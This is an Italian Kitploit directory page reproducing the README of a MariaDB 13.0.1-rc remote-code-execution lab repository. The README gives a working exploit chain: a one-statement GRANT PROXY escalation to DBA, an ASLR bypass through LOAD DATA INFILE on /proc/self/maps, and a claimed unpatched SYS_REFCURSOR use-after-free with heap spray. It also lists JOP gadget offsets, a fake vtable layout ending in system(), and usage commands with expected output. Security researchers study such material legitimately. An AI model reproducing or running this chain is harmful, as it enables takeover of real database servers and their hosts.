Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + catena JOP fino a system() come uid 999(mysql) su immagine Docker stock. Trovato con RAPTOR e raptor-loop-hunt. | Kitploit
Strumenti/GitHubGitHub/dinosn/mariadb-13-rce-lab
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingSviluppo PayloadSicurezza dei DatabaseBinary ExploitationLab e Pratica
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + catena JOP fino a system() come uid 999(mysql) su immagine Docker stock. Trovato con RAPTOR e raptor-loop-hunt.

336141 mese faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

MariaDB 13.0.1-rc RCE Lab

Esecuzione di codice in remoto sull'immagine Docker non modificata e stock di MariaDB 13.0.1-rc come uid 999 (mysql).

Due varianti di exploit:

VarianteFileRequisitiNote
SQL puro (consigliata)exploit_pure_sql.pyun account MariaDB a bassi privilegi + TCPnessun accesso all'host, niente docker, niente /proc/mem, nessuna password di root
PoC assistito dall'hostexploit.pyroot sull'host Dockerscrive la catena JOP via /proc/<pid>/mem

Testata e provata su: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 esecuzioni, ciascuna con basi ASLR nuove).

Modello di attacco SQL puro (exploit_pure_sql.py)

L'attaccante dispone solo di:

  • un account MariaDB con soli privilegi USAGE (l'utente lowpriv del compose) + la sua password, e
  • raggiungibilità TCP sulla porta 3306.

L'intera catena viene eseguita come istruzioni SQL; nessun accesso ai processi lato host, nessun comando docker, nessun indirizzo noto. Ogni indirizzo runtime viene appreso dal target stesso via SQL:

1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> qualsiasi utente diventa DBA completo (account root dirottato, password vuota).
            Una sola istruzione, nessun privilegio richiesto.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> lettura file lato server (privilegio FILE, secure_file_priv non impostato sullo stock)
            rivela la base PIE e la base libc = vero superamento di ASLR. Le basi cambiano
            a ogni esecuzione e vengono lette dal processo live.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (variabile utente da 128 MiB)
         -> glibc dedica una regione mmap (0x8001000, dati a +0x30).
            Il suo indirizzo viene scoperto confrontando /proc/self/maps prima/dopo
            l'allocazione - via SQL. Nessun /proc/<pid>/mem coinvolto.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<layout JOP>'), REPEAT(...))
         -> l'intera catena JOP (D2, D1, system(), stringa di comando) viene
            scritta via SQL al momento dell'allocazione. Il puntatore auto-referenziale
            [V+0xa8] = V+0x140 viene incorporato usando l'indirizzo trovato al passo 3;
            glibc riutilizza esattamente lo stesso slot mmap quando il buffer viene
            riallocato, quindi l'indirizzo rimane stabile (verificato a ogni iterazione,
            re-incorporato se si sposta).

5. F-05 UAF di SYS_REFCURSOR + heap spray (spray128/grow5/uaf5, binario stock)
         -> l'array di cursori liberato di 1792 byte viene reclamato con un
            blob da 1784 byte che trasporta V all'offset 0x20; dispatch virtuale
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            esegue il comando come uid 999(mysql).

6. Prova: il comando scrive un marcatore; il server crasha subito dopo il ritorno
   di system() (mariadbd è PID 1 -> il container esce). Riavviare il container e
   leggere il marcatore.

Le uniche operazioni non-SQL rimaste sono la gestione post-exploit: riavviare il container (già crashato) e mostrare il file marcatore — non fanno parte dello sfruttamento.

Sostituzione dei vecchi helper lato host

Vecchio helper (exploit.py)Sostituzione in SQL puro
docker inspect → PID + /proc/<pid>/maps lato hostLOAD DATA INFILE '/proc/self/maps'
scritture su /proc/<pid>/mem lato host per la catena JOPlayout incorporato via CONCAT/UNHEX all'allocazione; indirizzo dal diff di maps lato SQL; il riutilizzo dello slot mmap mantiene valido il self-reference
docker exec ... echo CMD > /tmp/payload_cmd.shstringa di comando incorporata direttamente nel layout JOP
mariadb -uroot -plabpass (password di root)escalation GRANT PROXY dall'account a bassi privilegi
docker exec ... cat MARKERusato solo per mostrare la prova

Utilizzo (SQL puro)

# avvia il lab
docker compose up -d

# esegui l'exploit da qualsiasi punto con accesso TCP - nessun accesso all'host necessario
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Richiede solo un client mariadb/mysql e Python 3. --container viene usato per la visualizzazione finale del marcatore (riavvio + cat) e può essere omesso se il marcatore viene verificato in altro modo.

Output finale atteso:

[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Catena di vulnerabilità (entrambe le varianti)

1. F-09 — Escalation dei privilegi (qualsiasi utente → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' bypassa tutti i controlli sui privilegi. La clausola di autenticazione vuota fa sì che LEX_USER::has_auth() restituisca false (saltando check_alter_user()), mentre replace_user_table() applica comunque la password vuota — sostituendo le credenziali di root. Una sola istruzione SQL, qualsiasi utente autenticato, ogni versione pubblicata di MariaDB.

2. Superamento di ASLR via /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' legge l'intero layout di memoria del processo mariadbd dall'interno di SQL, rivelando la base PIE e la base libc. Funziona con secure_file_priv = NULL (non impostato) sull'immagine stock.

3. F-05 — Use-after-free di SYS_REFCURSOR (0day, non corretto a monte)

sp_cursor_array::get_cursor_by_ref() restituisce un puntatore interno a una Dynamic_array il cui storage sottostante viene spostato da my_realloc durante la crescita. Quando il metodo open() di un cursore esegue SQL controllato dall'attaccante che apre ulteriori cursori, l'array cresce, il vecchio storage viene liberato e il puntatore memorizzato dal chiamante diventa dangling.

Il blocco liberato (16 cursori x 112 byte = 1792 byte) viene reclamato da uno heap spray di 128 copie di variabili utente da 1784 byte ciascuna (adattamento esatto per il chunk glibc). Il payload dello spray inserisce un puntatore a vtable controllato all'offset 0x20 (il membro result di sp_cursor), successivamente usato per il dispatch virtuale:

Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = puntatore a vtable dell'attaccante (V)
  -> call [rax + 0x20]       ;  chiama il gadget D2 (slot vtable di prepare())

4. Catena JOP → system()

Due gadget JOP dal binario mariadbd stock (nessun ROP, nessuno stack pivot):

GadgetOffsetIstruzioneScopo
D2PIE+0x80da77call *0x100(%rax)Correzione allineamento stack
D1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]Carica puntatore cmd, chiama system()

La vtable finta V vive nel buffer da 128 MiB; layout:

V+0x20  = D2          (slot vtable di prepare())
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (puntatore alla stringa di comando -> rdi)
V+0x100 = D1          (dispatcher JOP)
V+0x140 = "sh -c '<cmd>'\0"

5. Il trucco di scoperta degli indirizzi in SQL puro (nuovo)

Il problema dell'uovo e della gallina di scrivere dati JOP auto-referenziali prima di conoscere l'indirizzo del buffer viene risolto dal comportamento mmap di glibc:

Scarica lo strumento